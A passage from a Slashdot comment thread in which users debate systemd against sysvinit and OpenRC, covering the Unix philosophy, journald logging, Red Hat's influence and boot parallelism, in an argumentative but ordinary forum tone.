      At the moment I'm leaning towards "stock Debian with sysvinit, and further with systemd explicitly blacklisted". Even with all the bullcrap that's been going on, it'll be a while before Debian truly requires systemd for much, and I can hope that they'll just change course before then. I can always switch to one of the other approaches later.

    27. Re:Fork it all by drinkypoo · · Score: 1

      The "Unix philosophy" was always about the toolset, and never, so far as I was aware, applied in such a way to the kernel. Why should it?

      There is an element of Unix philosophy which directly addresses the kernel. It's not that it be monolithic, it's that it be written in portable code. When Unix and C became linked, then the idea of the kernel being written in C became part of the Unix philosophy, too.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    28. Re:Fork it all by reikae · · Score: 2

      Whether they do or don't aside, how can Red Hat pressure for example Debian to adopt systemd? I don't see what leverage they have.

    29. Re:Fork it all by Anonymous Coward · · Score: 0

      If you bothered to read this article, or any actual systemd documentation, you would realize that you do have choice. You do not have to run systemd.

    30. Re:Fork it all by Anonymous Coward · · Score: 0

      Isnt this the old ldap configs vs sssd all over again.

      It sucks until you use it, find it works, and worked with less effort.

    31. Re:Fork it all by Anonymous Coward · · Score: 0

      Goddamnit why isn't this being modded up???

      What happened to the days of "oh, you don't like it? Write your own."

    32. Re:Fork it all by anomaly256 · · Score: 1

      The point is not all of them have, which would be fine except those who haven't are being pressured and actively ridiculed by those who have - which is wrong and definitely not in the spirit of FOSS. Lennart made a claim previously that the Open Source Community is "quite a sick place to be in". This is in fact in no small part due to his own project's political maneuvering and strong-arming which others outside of the systemd camp have noticed and take exceptional issue with.

      If someone want to use systemd they can go right ahead. That is their right and I would not dare to suppress that right or insult them for exercising it. But when systemd proponents start pressuring other distros to get on board and ridiculing those who say no and throwing baseless ad-hominem attacks at their users who don't want it, that is exactly what they are doing - trying to suppress those users' rights and insulting them for exercising it and turning FOSS into quite a sick place to be in. As awesome as systemd might be, the community and politics around it disgusts me and I want no part of it.

      I'm sure this might seem like a flamebait post to some but it has been my experience and I think both sides of 'the debate' need to take a step back and recall that we're all in this together so lets stop trashing each other and pushing agendas and come to a mutually agreeable compatible outcome instead of acting like religious extremists.

    33. Re:Fork it all by chmod+a+x+mojo · · Score: 1

      The fact that the greater majority of people who actually write the code are switching to Systemd should be a sign that it is technically superior.

      So Windows is the best OS since the most people use it? Why bother with OSX and Linux then? The only reason Windows is on top is twofold: ease of use ( comes with most new computers) coupled with familiarity, and this is the reason that 8 didn't do so well... and secondly, it's cheaper than a Mac.

      Don't confuse (easier / shinier) for (lazy / gloryhound) devs with technical superiority. Maybe, MAYBE, it will turn out to be better... but most likely will turn out to be as big a kludge as they claim SysVinit is.

      --
      To err is human; effective mayhem requires the root password!
    34. Re:Fork it all by Anonymous Coward · · Score: 0

      Honest to the Flying Spaghetti Monster, I don't know why your reply is being flagged as "Troll". It's one of the most sensible and polite answers to the "Linux Is Choice!" mantra I've ever read.

      Thanks for making my day.

    35. Re:Fork it all by Anonymous Coward · · Score: 0

      Developer resources. Like it or not, RH is a corporation. This means that they can throw programming hours at projects. And systemd at this point is a very sprawling project indeed.

      Arch may have adopted it back when it was mostly still about init.

      But now is it is developing into quite the back end for containerized cloud services.

      Never mind the whole thing about seats and sessions via logind. This ties it directly to desktop/workstation use.

      And all of this is tied directly to systemd running as init.

    36. Re:Fork it all by Anonymous Coward · · Score: 0

      Your 'logic' implies that any distribution that uses systemd has rewritten the entire operating system.

      Do you still think that's true? LOL.

      Yes

    37. Re:Fork it all by Peter+H.S. · · Score: 1

      Here, I think there's some mendacity as well on the part of Red Hat. Systemd absorbed several RedHat-run open source projects that should be stand alone (D-Bus and udev, for example) and not require a dependency on systemd. That's classic Microsoft-style "embrace and extend" behavior.

      There is exactly one project that joined systemd, and that was the basically one-man project "udev". The udev inventor is also the co-inventor of systemd, and that project started way before Red Hat had even started to say "no" to using systemd (they later said "yes"; read the interview). So it is demonstrably wrong to claim that RH could have forced Kay Sievers/udev into the systemd project.

      Dbus isn't a single project, but a standard just like tcp/ip with several different implementations. systemd makes heavy use of dbus, and even have some dbus helper libs, but the point is that systemd works with the "standard" dbus specification, regardless of implementation. That is the whole point of using a standard.

      All the talk about RH/systemd "subsuming" other projects are simply plain wrong.

  4. Just keep it away from Gentoo and I'm good by xiando · · Score: 2, Insightful

    System is broken by design and totally violates the UNIX philosophy so it doesn't really matter if Poettering claims to "listen to users" (which he doesn't anyway) or not. What I see as most important moving forward is to encourage free software developers to make support for it optional and not mandatory. We get real problems when important software starts making it a requirement (like GNOME, though they like to pretend it's not but good luck trying to actually compile it). Even Tor git had systemd as a requirement for a few days last week.

    1. Re:Just keep it away from Gentoo and I'm good by AmiMoJo · · Score: 1, Insightful

      He claims that it doesn't violate the UNIX philosophy in TFA. Would you care to offer a detailed rebuttal to go with your more wide-ranging rant?

      I'm not saying he is right, but you don't actually state why he is wrong.

      --
      const int one = 65536; (Silvermoon, Texture.cs)
      SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
    2. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 2, Interesting

      According to wikipedia: "The Unix philosophy emphasizes building short, simple, clear, modular, and extensible code that can be easily maintained and repurposed by developers other than its creators. The Unix philosophy favors composability as opposed to monolithic design.".

      Okay, so how exactly does systemd violate this ? Systemd is a collection of relatively small components, which all do pretty much one thing. They are all collected under the systemd project. Note that you do NOT have to enable or use all the components in the project. People keep shouting that systemd is monolithic, but it is not -- it is a collection of small programs, just as many other projects are (eg. Gnu Compiler Collection). Also, if somebody feels like writing a replacement component for any component in systemd collection; I don't see why that couldn't be done.

      Also, broken by design ? How exactly? As long as we are just writing down our opinions, it seems to be working pretty well for my laptop!

    3. Re:Just keep it away from Gentoo and I'm good by The+Evil+Atheist · · Score: 1

      totally violates the UNIX philosophy

      He actually argues against that in his very first point. I keep seeing this argument, but never counter arguments to Lennart's counter arguments.

      --
      Those who do not learn from commit history are doomed to regress it.
    4. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 4, Insightful

      He says it does not break the UNIX philosophy because everything is in the same code base purposely ignoring that it does not do one thing and do it well. He was creating a strawman.

      --
      When you cant win, ad hominem.
    5. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 2, Interesting

      Systemd is a tool, not just a project. Systemd as a tool tries to do many different things, and it does many if not all poorly. You may not need all of the components to work but you need several, such as binary logging that you cannot disable.

      --
      When you cant win, ad hominem.
    6. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 1

      His argument does not address the argument. It creates a strawman that claiming the argument is that the code is not stored in the same repo.

      --
      When you cant win, ad hominem.
    7. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      I'm not a fan of Systemd either and have moved off to FreeBSD from Debian, but seriously, you can change the behavior of journald and use syslog again...

      Christ, if you're going to bitch and moan, at least RTFM first. Every fucking neckbeard over the age of 35 who complains because they purport to be "grand old system administrators who know what they're doing...bla bla..." sure do lack the skill to look something up.

      The same codger's who decry RTFM to newbies trying to learn seem to continually stick their own balls in their mouths out of ignorance.

    8. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      Simple.. use a distro that doesn;t use it.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    9. Re:Just keep it away from Gentoo and I'm good by UberLord · · Score: 5, Informative

      It's a lot better than openrc, which is needlessly slow due to being written in bash and fails at running tasks that don't depend on each other in parallel. I've converted both my desktop and laptop and now more concerned with keeping openrc away from Gentoo.

      OpenRC is written in C for the most part. Each init script is shell based though and works fine with pretty much any shell.
      You can use bash if you want to, but I prefer to run dash.

      As to the parallel start up - well, some users do have an issue depending on what services they have installed and configured.
      I personally have no problem with it and use it all the time.

      As to the speed? Well, it gets me to the desktop in the same number of seconds as systemd.

    10. Re:Just keep it away from Gentoo and I'm good by loonycyborg · · Score: 0

      Binary logging is irrelevant because you can still use standard logging daemon. Otherwise systemd violates Unix philosophy no more than GNU coreutils or busybox.

    11. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 4, Insightful

      You can use syslog but you cannot get rid of journald, it has to be there running, increasing overhead. This is not, and has never been about learning something knew, that is nothing more than a fallacy created by the pro systemd movement to attack the people who dislike it.

      --
      When you cant win, ad hominem.
    12. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 2, Insightful

      So you like having useless software always running on your machines, that you cannot get rid of, or absolutely turn off? It also still violates do one thing and do it well because it tries to do many things, and seems to do them poorly.

      --
      When you cant win, ad hominem.
    13. Re:Just keep it away from Gentoo and I'm good by The+Evil+Atheist · · Score: 1

      But neither do I see people explaining what they mean by "violates the UNIX philosophy". Surely, Linux's monolithic kernel goes against UNIX philosophy? Pretty sure Andrew Tannenbaum and Linus flamed each other over that. So what makes systemd's monolithic appearance non-UNIX, but the Linux's monolithic appearance UNIX? If they are both not UNIX, why don't they complain about Linux not being UNIX either? But from my admittedly limited understanding of systemd, the design is split up into components and the core is actually quite small. Most of the rest is optional, and it only looks monolithic because distros tend to just implement the whole thing.

      --
      Those who do not learn from commit history are doomed to regress it.
    14. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 2, Informative

      The Unix philosophy is, depending on whom you ask, "everything is a file", "KISS (keep it simple, stupid)", or "do one thing and do it well". Poettering makes up another interpretation, that being like Unix means putting everything in one code repository and releasing in sync, which he then notices is what they do with Systemd, so it's very Unix-like. That of course is completely bogus and counter to everything that Unix represents. In particular, Systemd is a violation of "everything is a file", "KISS", and "do one thing and do it well".

    15. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      I'm not a fan of Systemd either and have moved off to FreeBSD from Debian, but seriously, you can change the behavior of journald and use syslog again...

      You cannot disable journald, you can enable both, but you cannot disable journald.

    16. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 4, Informative

      Exactly! I have used openRC since it was in beta and it works really really well. Parallel boot works well, the cgroups container stuff works well as well (before some processes were just not being fully killed...)
      My system boots equally fast to desktop as with systemd. The major speedup for me was NOTHING todo with openRC or systemd... it was HDD -> SSD (even before sysd ~= openrc).

      Only slow thing is dhcpcd but that is more router based then openrc/dhcpcd/sysd.

      OpenRC is really really good.

    17. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      >He claims that it doesn't violate the UNIX philosophy in TFA
      And he would be very very very wrong. I'm the emperor of Earth and I declare it thus.

    18. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 0

      can you list what systemd does that is "more than one thing"

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    19. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 1

      Pretty much every person who makes the claim that it violates the UNIX philosophy state that it is because of do one thing do it well. It looks monolithic because it things are required, things that dont even have to be used is still required to be installed and running on the system. Sure I can change journald so it does not write to files and use syslog, but journald still has to be there and running.

      --
      When you cant win, ad hominem.
    20. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      the Kernel, X, KDE, Gnome etc must all violate the Unix way as well by your interpretation. "not being he Unix way" is a lame argument anyway especially when other Unix based OSs have a similar system in place.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    21. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 3, Informative

      Its one tool, that does many things and does them typically poorly compared to the replacement tools. Systemd does multiple things and does them poorer then what they replaced, therefore it does not do one thing, let alone well. He is trying to redefine systemd away from being the tool and just being a repository, which utterly fails due to some components requiring others in systemd.

      --
      When you cant win, ad hominem.
    22. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 0

      list the things that systemd does that violates your KISS principle

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    23. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 1

      Systemd does startup, it does logging, it does ntpd, it manages processes.. What do you think it does that is just one thing?

      --
      When you cant win, ad hominem.
    24. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Yeap, journald can't be disabled. Systemd needs to do logging before/after syslog is available and needs some interface to do that -- and calls that the journal.

      You can either use the journal stand-alone or have it forward everything to syslog (once available).

      But that journal is the only thing you can not disable when running systemd.

    25. Re:Just keep it away from Gentoo and I'm good by BarbaraHudson · · Score: 1

      why don't they complain about Linux not being UNIX either?

      Let me spell it out for you - Linux Is Not UniX.

      --
      "Transparent" is a shit show that trades on every stereotype going. A man in drag is NOT a transsexual.
    26. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 2, Insightful

      So it, by design, tries to do multiple things, which is the violation in UNIX principle that most people mention. We got atleast 3 things it ties to do, just in the base installation. Several of those things have cause numerous non recoverable errors in the system.

      --
      When you cant win, ad hominem.
    27. Re:Just keep it away from Gentoo and I'm good by The+Evil+Atheist · · Score: 3, Insightful

      Then why do they complain about systemd when it's not a UNIX component, but a Linux one? If UNIX philosophy is so important, why do they have double standards that they don't apply the same argument to Linux?

      --
      Those who do not learn from commit history are doomed to regress it.
    28. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      1. they can only downloaded as a singular tarball.

      2. That they do a better job is a matter of opinion. Their DHCP client seems to do "better" by violating good conduct for instance. And the dev of DHCPCD argues that the same performance could be gotten from the latter by doing the same.

    29. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      And dhcpcd could perform as well as the systemd dhcp client by violating the same ARP related good conducts that systemd does. But those good conducts are there for security reasons.

    30. Re:Just keep it away from Gentoo and I'm good by ledow · · Score: 1

      "I keep seeing this argument, but never counter arguments to Lennart's counter."

      He and others have differing opinions on what the UNIX philosophy is, and whether or not it's important to maintain.

      That's the counter-argument.

      From my point of view, the counter-argument is really that what he wants to do can ALL be done in a UNIX philosophy-compatible way. Everything. Every piece of his code could be done that way, get the same benefits, the same control, etc. But he doesn't like it. So he hasn't.

      When that's the argument FOR systemd, the argument AGAINST that element will be just as political.

      Give me systemd. Just give it to me in a way that's manageable and compatible with POSIX. All it's doing is using in-kernel features to do the same things we always did, but in a different way. cgroups etc. can be done in the old init style, no problem at all.

      The first fork project that does this, will kill systemd AND SysVInit overnight.

    31. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 1

      But does the OpenRC have binary logs or its own ntpd, networkd or consoled? It can't be any good if it is not replacing half of the system userland.

    32. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Journald. When systemd decides its latest version does not want to mount a uefi-boot partition which is formatted in FAT filesystem, good luck solving that out with the journalctrl and its man pages.

    33. Re:Just keep it away from Gentoo and I'm good by Assmasher · · Score: 2

      Your apparent definition of

      the UNIX philosophy

      would seem to suggest that the Linux kernel violates it as well because it's monolithic... Yes, that's absurd, but so - it appears - is your claim.

      Why do you think it TOTALLY violates the UNIX philosophy?

      --
      Loading...
    34. Re:Just keep it away from Gentoo and I'm good by geoskd · · Score: 3, Insightful

      Systemd does multiple things and does them poorer then what they replaced, therefore it does not do one thing,

      Citation needed. Please elaborate on any things that Systemd does worse than something that it replaced. Specifics would be appreciated.

      I know very little about init, or Systemd, but what I do know is the very basic idea of how they both work. Init works, just like the documentation says, by starting system components in the order specified by the init scripts. These scripts are structured such that when a particular component is done starting, it will then trigger the start of another set of components. I can tell you that this is a hideously malformed way to start a system. If I have a configurable system and want to bring up component x, but it requires a list of 50 components are up first, then i need to look through all of that configuration to figure out which components should trigger mine to start up. This is backwards from how it should be.

      Systemd works the problem backwards. I tell it what things my component needs to have running first, and Systemd figures out what order to boot things. It is smarter, faster, and conceptually better in every conceivable way. The particular implementation may or may not be good, but the algorithm is far superior, which is why it is being universally adopted. Much of the rest of Systemd is a result of the fact that any init system will have to touch on all of these other areas of the system. Init has to handle logging. It also has to handle system configuration (udev). It will also have to touch upon process management, and resource allocation. It is also the logical place to put any kind of hot swap functionality for devices, as the init system will largely be handling hardware interaction modules, and many of the system component dependencies are hardware dependencies and not just software dependencies. In all the problem is very complex, and I'm glad to see someone actually tackling it intelligently.

      As with all things Linux, if you don't like it you're free to present an alternative of your own, but don't get huffy when people choose Systemd over what you recommend, because they are choosing for them. You are quite free to choose for you. In the end, if you don't like it vote with your money, and choose a different distribution, or OS.

      --
      I wish I had a good sig, but all the good ones are copyrighted
    35. Re: Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      You can stop it from creating the journal edit journald.conf and set storage=none then kill process you can delete /var/log/journal after, it remains running however which is dumb.

    36. Re:Just keep it away from Gentoo and I'm good by loonycyborg · · Score: 1

      When I dropped openrc parallel booting was disabled there by default and not recommended to use due to bugs, no idea whether it changed now. I had trouble figuring out how to improve parallelism, like to ensure that dhcp isn't waited by some unrelated boot step. With systemd I used their way to generate svgs graphs of boot process that show what runs in parallel with what and when.

    37. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 2

      journald is its own daemon (the "d" on the end gives it away) so try again.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    38. Re:Just keep it away from Gentoo and I'm good by Assmasher · · Score: 1

      No he doesn't. He addresses a specific negative attribution about systemd in that it is anti-UNIX because it keeps everything in one repository. He doesn't claim that this is the only reason anyone states it is anti-UNIX.

      He's certainly being selective in what he is addressing, but surely he can't be expected to discuss everything anyone ever complained about involving systemd in this interview...?

      --
      Loading...
    39. Re:Just keep it away from Gentoo and I'm good by loonycyborg · · Score: 1

      Once again it's irrelevant because there's a lot of useless software running already, some even more useless than journald too. I see no need to single out journald like that. And you failed to show that it's in any way different than coreutils. Such criticism of systemd is bullshit, period. You can prove that anything does too many things and does them poorly by changing your definition of 'things' and 'poorly'.

    40. Re:Just keep it away from Gentoo and I'm good by reikae · · Score: 2

      But surely all the work isn't done by one executable? GNU coreutils do a lot of things, but each executable does just one thing. If systemd is split up in a similar fashion (as I hope and assume it is), then I don't think it's a problem whether init & ntpd come from the same project or separate projects.

    41. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Systemd needs to do logging before/after syslog is available

      It NEEDS to? Even when it's not in some kind of debugging mode? Really? Being able to store those log entries is ESSENTIAL to the continued functioning of the system? Really?

    42. Re:Just keep it away from Gentoo and I'm good by AmiMoJo · · Score: 3, Insightful

      I'm no expert but systemd seems to be a collection of smaller components that work together. It isn't monolithic, it's lots of small parts that happen to be from the same repository and happen to be released together, the same way that GNU tools, the kernel and libc are.

      Is that factually incorrect?

      --
      const int one = 65536; (Silvermoon, Texture.cs)
      SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
    43. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 0

      Systemd does multiple things and does them poorer then what they replaced, therefore it does not do one thing,

      I know very little about init, or Systemd, .

      This right here goes to the very heart of your problem.

      Then this little gem

      It is smarter, faster, and conceptually better in every conceivable way

      So you know nothing about them, but you know systemd does everything better in every conceivable way. Such as binary logging that you probably not be able read if you have to boot from disk. The scope of what you understand and what you think the system needs to be able to do is limited, and therefore your capability to answer reasonably is as well.

      Much of the rest of Systemd is a result of the fact that any init system will have to touch on all of these other areas of the system. Init has to handle logging

      Then why did it not handle it before, assuming you mean it has to handle it as journald does now. If it worked without it before then it is not a requirement. Why does init have to handle ntpd?

      --
      When you cant win, ad hominem.
    44. Re:Just keep it away from Gentoo and I'm good by drinkypoo · · Score: 5, Insightful

      According to wikipedia: "The Unix philosophy emphasizes building short, simple, clear, modular, and extensible code that can be easily maintained and repurposed by developers other than its creators. The Unix philosophy favors composability as opposed to monolithic design.".
      Okay, so how exactly does systemd violate this ?

      There's more to it than that, and systemd also violates some of those principles anyway; many here have complained about the lack of code quality. But the Unix philosophy also includes a love for flat, human-readable files, and systemd's syslog shits on that. You have to run yet another syslog to even get text logging, and it's a second-class citizen — it gets the log messages after the binary logging system gets them.

      Also, systemd is a thing without a reason to exist. It doesn't actually provide anything we didn't have before. It exists purely due to Lennart's NIH syndrome, and for no other reason. As others have pointed out, openrc does the things which systemd's init functionality does. That means that its original basic reason for existence is nonsensical. As many including myself have pointed out, most of it can be handled by very small shell scripts. Some rail against this, but shell scripting is also part of the Unix philosophy. That's part of the core idea of the operating system! There's nothing wrong with using scripting to make things happen.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    45. Re:Just keep it away from Gentoo and I'm good by thaylin · · Score: 1

      And each utility is requires cross dependencies in coreutils? and coreutils is not just the package name put the tool?

      --
      When you cant win, ad hominem.
    46. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 3, Interesting

      Systemd does startup,
      journald does logging,
      ntpd is configurable option
      - so try again

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    47. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 2

      so whats your stance on "glibc"? How many programs are dependent on a version of glibc?

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    48. Re:Just keep it away from Gentoo and I'm good by khallow · · Score: 1

      Ok, so it violates Unix philosophy as indicated, but because you can come up with a couple of other examples of software doing that, then the violation is "irrelevant"? Maybe we should get someone else's opinion instead.

    49. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      "But surely all the work isn't done by one executable?"
      The number of binaries or processes is irrelevant. Even a large number of different processes, tightly coupled together via IPC and with many cross dependencies (often for no good reason beside convenience) is effectively one entity. Is your house of cards any stronger because it is made of many cards?

    50. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      "Then why did it not handle it before, assuming you mean it has to handle it as journald does now. If it worked without it before then it is not a requirement." journald starts logging long before and after when syslogd could log which is useful (unless you think it isn't of course).

      "Why does init have to handle ntpd?" - it's a configurable option not mandatory.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    51. Re:Just keep it away from Gentoo and I'm good by reikae · · Score: 1

      Some may have cross dependencies, but you're right, generally they don't and systemd isn't really comparable this way.

    52. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      yes, that is correct unless you hate systemd then it monolithic. they don't have hardly any real arguments against systemd so they make them up.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    53. Re:Just keep it away from Gentoo and I'm good by QuietLagoon · · Score: 1

      ...Okay, so how exactly does systemd violate this ?...

      Your error occurred in the very first words of your post, "According to wikipedia..."

    54. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      no, systemd and journald are 2 daemons not one. if a journal was being created without journald and directly from systemd then you will have a point.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    55. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 1

      OpenRC still has parallel boot disabled by default, but enabling it is a one-line change to /etc/rc.conf - a file that ships with comments describing each option. (The gentoo devs warn that it is not as well tested, and recommend avoiding it for that reason. That's nice of them. I had to use systemd recently, and I experience race conditions and lockups randomly on both startup and shutdown because of it! I would much rather have a system that actually starts and stops correctly, than one that starts faster 80% of the time, but hangs the other 20% of the time.)

      OpenRC is an init system. If you want something that graphs your boot process, install a tool designed to do that, like bootchart.

      If one of your other services was waiting for dhcp, then that service probably had a dependency on "net", or depended on another service that did depend on "net". If you read the comments in the config file, it shows you how to manually suppress a dependency. For example, if you want "someservice" not to depend on "net", you would add a line:
              rc_someservice_need="!net"
      (There was probably a reason for that dependency, though. If you are sure the dependency is not needed, it would be nice of you also to submit a bug report against the someservice package too, so that its init files can be updated to have the dependency removed.)

    56. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      "Such criticism of systemd is bullshit, period." - unfortunately some people just won't get it, they'll eventually bury themselves in the hole they dig around their feet. they stretch bullshit too far, maybe they are standing in a field of bulls and can't smell anything else

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    57. Re:Just keep it away from Gentoo and I'm good by igloo-x · · Score: 1

      Such as binary logging that you probably not be able read if you have to boot from disk

      This sentence is the closest you came to a valid technical argument, and it doesn't even make sense.

      If [journald] worked without it before then it is not a requirement.

      Because journald is part of systemd, it is able to start logging earlier in the boot process and continue logging later in to the shutdown process. This is an improvement over syslogd.

    58. Re:Just keep it away from Gentoo and I'm good by igloo-x · · Score: 0

      Okay, here's mine: the philosophy is irrelevant.

      Or at the very least, the philosophy is not a hard-and-fast rule to which all aspects of a Linux system must adhere. Some problems are Hard in a way that cannot be solved effectively by stand-alone small sharp tools.

      See also: Xorg, Libreoffice, The GIMP, and of course the kernel itself.

    59. Re:Just keep it away from Gentoo and I'm good by geoskd · · Score: 2

      So you know nothing about them, but you know systemd does everything better in every conceivable way. Such as binary logging that you probably not be able read if you have to boot from disk. The scope of what you understand and what you think the system needs to be able to do is limited, and therefore your capability to answer reasonably is as well.

      Interesting assumptions. What I do know about Systemd vs upstart vs sysvinit is the algorithm that each uses to solve the same basic problem. As someone who can understand algorithms, and who understands the basic problem that needs to be solved, I can tell you that the algorithm that Pottering (and others) claim that Systemd uses is smarter, faster and conceptually better in every conceivable way to upstart and sysvinit. What I dont know is the specifics of how to configure upstart, sysvinit or Systemd, as I have never had to work with any of them before. I have worked with a proprietary init system I was told was a distant cousin of sysvinit, and it was not what I would call a good experience.

      Then why did it not handle it before, assuming you mean it has to handle it as journald does now.

      because syslogd cannot handle early boot reporting. By definition Systemd is the first thing to run, so any logging related to this time in the boot sequence has to be handled by it. Since it has to do it anyway, make the utility available for general use. Why have another utility duplicate the functionality when Systemd has to have it for early boot time logging.

      Why does init have to handle ntpd?

      Unless you read something I didn't see, there is no reason in the world it has to replace ntpd, but the option is there if you want it. On a more serious note, I would conjecture that there are daemons that rely on ntpd, that could be started sooner if there was a version of ntpd that could run before the network was up. why should a program that requires accurate time (hence ntpd) wait for the network to come up in a system with a real time clock? a version of ntpd that would come up to a running state without depending on the network being up would save a large amount of time in the boot sequence. Though your system might not care about boot time, there are many that do, and if the new version of ntpd does everything else ntpd does, why not use it. Pottering could have volunteered a patch for ntpd to add the functionality, but he chose to rewrite it. If you use his version, the system boots 3 seconds faster, if you use ntpd it takes 3 seconds longer to boot. In all other ways its the same...

      --
      I wish I had a good sig, but all the good ones are copyrighted
    60. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 3, Insightful

      can i run systemd without journald? can i run journald without systemd? if not, the point is made.

    61. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 1

      He certainly has a better understanding of systemd than you do, he's actually read up about it.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    62. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      Busybox is a violation of the UNIX ethos... but it is the best tool for the job when you have limited storage and memory.

      Coreutils, not so much. Its a bunch of individual single-purpose programs that are just developed together.

    63. Re:Just keep it away from Gentoo and I'm good by Anonymous Coward · · Score: 0

      From http://www.catb.org/esr/writin...

      (ii) Expect the output of every program to become the input to another, as yet unknown, program. Don't clutter output with extraneous information. Avoid stringently columnar or binary input formats. Don't insist on interactive input.

      My biggest problem with systemd is the excessively tight coupling that seems inherent in its design philosophy. I wouldn't have any real objection for using systemd for my init, but I can't use my syslogger - logs always have to go through journald first. If you disable journald, even if you have another logger running, daemons started with systemd will produce no logs. I don't use it myself, but apparently the same is now true of logind (whatever that does), it used to be able to run seperately but it apparently can't be done any more. I think the same is scheduled to happen to udev.

      The interfaces between these components also seem to change very frequently, making implementing a third-party tool to replace functionality very difficult. From http://www.freedesktop.org/wik... - "A number of systemd's APIs expose Linux or systemd-specific features that cannot sensibly be implemented elsewhere"

      As a friend put it; the linux kernel uses a monolithic architecture but a modular construction, systemd uses a modular architecture but a monolithic construction.

    64. Re:Just keep it away from Gentoo and I'm good by kinkozmasta · · Score: 3, Informative

      Basically, it's not factually incorrect, but very misleading. Sure, they are separate components but they are so tightly coupled you can't really have one without theother so they operate in the same way as a monolithic system despite being split up into multiple components. Facllacy #1 explains it much better than I could here.

    65. Re:Just keep it away from Gentoo and I'm good by Barsteward · · Score: 2

      "many here have complained about the lack of code quality." - mmmm i'd be surprised if everyone agreed on whats good and bad in coding

      "You have to run yet another syslog to even get text logging, and it's a second-class citizen" - journald logs before and after when syslog can be launched/stopped so it performs more logging than syslog which i would say is a good thing. at least if configurable you can still have syslog.

      "It exists purely due to Lennart's NIH syndrome, and for no other reason" - so if systemd was written by someone else, then systemd would be fine? quote "Eventually Red Hat realised that the problems we solved with Systemd were relevant, and were problems that needed to be solved, and that you couldn’t ignore them"

      "There's nothing wrong with using scripting to make things happen" - there's nothing to stop you using scripts to launch everything (with few exceptions), just configure systemd to run them.

      --
      "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
    66. Re:Just keep it away from Gentoo and I'm good by MSG · · Score: 1

      Systemd is a tool, not just a project. Systemd as a tool tries to do many different things

      You are misinformed. Systemd is a project which provides a collection of tools. One of them handles daemon and system startup. One of them handles logging. One of them handles device node creation. One of them handles firewall rule management. etc.

      Systemd is quite UNIX-y.

    67. Re:Just keep it away from Gentoo and I'm good by khallow · · Score: 1

      See also: Xorg, Libreoffice, The GIMP, and of course the kernel itself.

      Two of those projects aren't Linux and hence aren't an aspect of a Linux system. And I think we can say the philosophy is being applied to Xorg and the kernel since those two components are separate and pretty modular in their own right.

    68. Re:Just keep it away from Gentoo and I'm good by drinkypoo · · Score: 1

      "You have to run yet another syslog to even get text logging, and it's a second-class citizen" - journald logs before and after when syslog can be launched/stopped so it performs more logging than syslog which i would say is a good thing. at least if configurable you can still have syslog.

      As I've pointed out before, there was no need for a completely new syslogd to remedy this situation. All that was needed was minor changes to one or more of the many existing daemons, and perhaps for the kernel to be a little more serious about not throwing away any boot logging information before it can be handed to a syslogd. Binary logging could then be implemented either in the same syslogd, or by another log daemon.

      "There's nothing wrong with using scripting to make things happen" - there's nothing to stop you using scripts to launch everything (with few exceptions), just configure systemd to run them

      This conversation is not about being forced to stop using scripting, this conversation is about being forced to use systemd for cases where scripting worked fine.

